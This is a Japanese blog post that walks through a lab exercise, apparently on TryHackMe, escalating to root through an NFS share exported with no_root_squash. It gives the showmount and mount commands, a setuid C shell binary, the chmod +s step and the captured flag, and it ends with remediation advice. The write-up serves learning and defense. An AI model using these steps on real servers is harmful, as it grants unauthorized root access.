1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Privilege Escalation: NFS — no_root_squash を利用した特権昇格

Posted at

はじめに

NFS(Network File System)は、Linux サーバ間でディレクトリを共有する仕組みです。
だが、設定を誤ると 「外部から root 実行権限付きのバイナリを設置できる」 という重大な脆弱性を生みます。


基本構成

設定ファイル /etc/exports を見てみましょう。

$ cat /etc/exports
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

ここで注目すべきは:

no_root_squash

通常、NFS サーバは root からのアクセスを nfsnobody(制限付きユーザ)にマッピングします。
しかし no_root_squash が指定されると、クライアント側の root 権限がそのまま有効になります。
これにより、SUID(Set User ID)付きファイルを作ることでサーバ上で root コードを実行可能になります。


攻撃者側でエクスポート確認

攻撃マシン(Attacker)からターゲットの共有ディレクトリを確認します。

showmount -e 10.201.0.167

出力:

Export list for 10.201.0.167:
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

3つの共有フォルダがあり、どれも no_root_squash でエクスポートされています。


共有ディレクトリをマウント

ローカル側に /tmp/backupmachine を作成してマウントします。

mkdir /tmp/backupmachine
mount -o rw 10.201.0.167:/tmp /tmp/backupmachine

ここで /tmp/backupmachine はターゲットの /tmp ディレクトリと同期しています。


root SUID バイナリを作成

攻撃マシン側で小さな C コードを書きます。

int main(){
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}

保存名:nfs.c

コンパイルして SUID を付与:

gcc nfs.c -o /tmp/backupmachine/nfs -w
chmod +s /tmp/backupmachine/nfs
ls -l /tmp/backupmachine/nfs

出力例:

-rwsr-sr-x 1 root root 16784 Nov  7 08:55 nfs

このファイルは NFS 経由でターゲットにも自動的に出現します(同期しているため)。


ターゲット上で確認

ターゲットサーバ側では /tmp/nfs が存在します。

$ ls -l /tmp/nfs
-rwsr-sr-x 1 root root 16784 Nov  7 08:55 nfs

実行:

$ ./nfs
# whoami
root

root 権限を獲得しました!


flag の取得

find / -name flag7.txt 2>/dev/null
/home/matt/flag7.txt
cat /home/matt/flag7.txt
THM-89384012

Flag7: THM-89384012


攻撃の流れまとめ

ステップ 攻撃内容 結果
1 /etc/exports に no_root_squash 確認 root マッピング可能
2 showmount -e でエクスポート確認 /home/backup, /tmp
3 攻撃側でマウント 書き込み可能に
4 SUID 付き C バイナリ作成 /tmp/nfs がターゲットに反映
5 実行 root シェル取得
6 flag7.txt 読取 THM-89384012

no_root_squash の危険性

オプション 説明
root_squash デフォルト設定。rootユーザを匿名化する(安全)
no_root_squash root権限をそのまま適用(危険)
all_squash すべてのユーザを匿名化
anonuid, anongid 匿名ユーザのID指定

対策:

  • NFSサーバでは no_root_squash を絶対に使用しない
  • マウント元を信頼できるホストのみに限定
  • /etc/exports に IP 制限と root_squash を設定

まとめ

“NFS misconfiguration turns a shared folder into a root shell.”

ネットワーク共有の便利さは、そのまま攻撃面にも直結します。
no_root_squash = no mercy.

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?